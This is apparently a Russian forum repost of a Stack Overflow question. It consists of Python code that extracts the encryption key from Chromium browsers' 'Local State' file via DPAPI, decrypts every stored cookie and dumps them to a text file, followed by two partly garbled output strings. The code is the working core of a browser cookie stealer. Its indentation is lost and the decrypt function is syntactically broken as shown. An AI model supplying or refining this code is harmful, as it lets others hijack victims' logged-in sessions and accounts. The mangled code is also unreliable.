Вот основная функция:
Код: Выделить всё
def main():
keys = get_keys()
all_data = {}
for name, base_path in BROWSERS.items():
cookie_db = os.path.join(base_path, "Default", "Network", "Cookies")
if not os.path.isfile(cookie_db):
continue
temp_db = Path(os.environ["TEMP"]) / f"{name}_CookieData.db"
shutil.copy2(cookie_db, temp_db)
key = keys.get(name)
browser_entries = []
try:
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
cursor.execute("SELECT host_key, name, value, encrypted_value FROM cookies")
browser_entries = []
for row in cursor.fetchall():
try:
url = row[0]
name = row[1]
value = row[2]
encrypted_value = row[3]
if encrypted_value:
cookie = decrypt(encrypted_value, key)
else:
cookie = value
if cookie:
browser_entries.append({
"url": url,
"name": name,
"value": value,
"cookie": cookie
})
except Exception as e:
print(f"Error processing {name}: {e}")
finally:
cursor.close()
conn.close()
try:
Path(temp_db).unlink(missing_ok=True)
except Exception as e:
print(f"Error deleting temp DB: {e}")
if browser_entries:
all_data[name] = browser_entries
with open("cookieslmao.txt", "w", encoding="utf-8") as f:
for browser, entries in all_data.items():
f.write(f"=======\n")
for entry in entries:
url = entry.get("url", "")
name = entry.get("name", "")
cookie = entry.get("cookie", "")
f.write(f"url: {url}\n")
f.write(f"name: {name}\n")
f.write(f"cookie (encoded in base64): {cookie}\n")
f.write(f"=======\n")
print(f"extraction complete! saved to cookieslmao.txt")
Код: Выделить всё
def decrypt(encrypted_value: bytes, key: bytes) -> str:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15:-16]
tag = encrypted_value[-16:]
cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
else:
decrypted = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1]
try:
return decrypted.decode('utf-8')
except UnicodeDecodeError:
return base64.b64encode(decrypted).decode('utf-8')
except Exception as e:
print(f"Decryption error: {e}")
return ""
Код: Выделить всё
def get_keys():
keys = {}
for name, path in BROWSERS.items():
local_state = os.path.join(path, "Local State")
if not os.path.isfile(local_state):
keys[name] = None
continue
try:
with open(local_state, "r", encoding="utf-8") as f:
data = json.load(f)
enc_key_b64 = data["os_crypt"]["encrypted_key"]
enc_key = base64.b64decode(enc_key_b64)[5:] # remove dpapi prefix
key = win32crypt.CryptUnprotectData(enc_key, None, None, None, 0)[1]
keys[name] = key
except Exception as e:
print(f"Failed to get key for {name}: {e}")
keys[name] = None
return keys
Код: Выделить всё
_CAEaAhAB.752BA64CF67026985827F0
Код: Выделить всё
_CAEaAhADIhsKBGR1aWQSEzM5
Подробнее здесь: https://stackoverflow.com/questions/798 ... er-cookies
Мобильная версия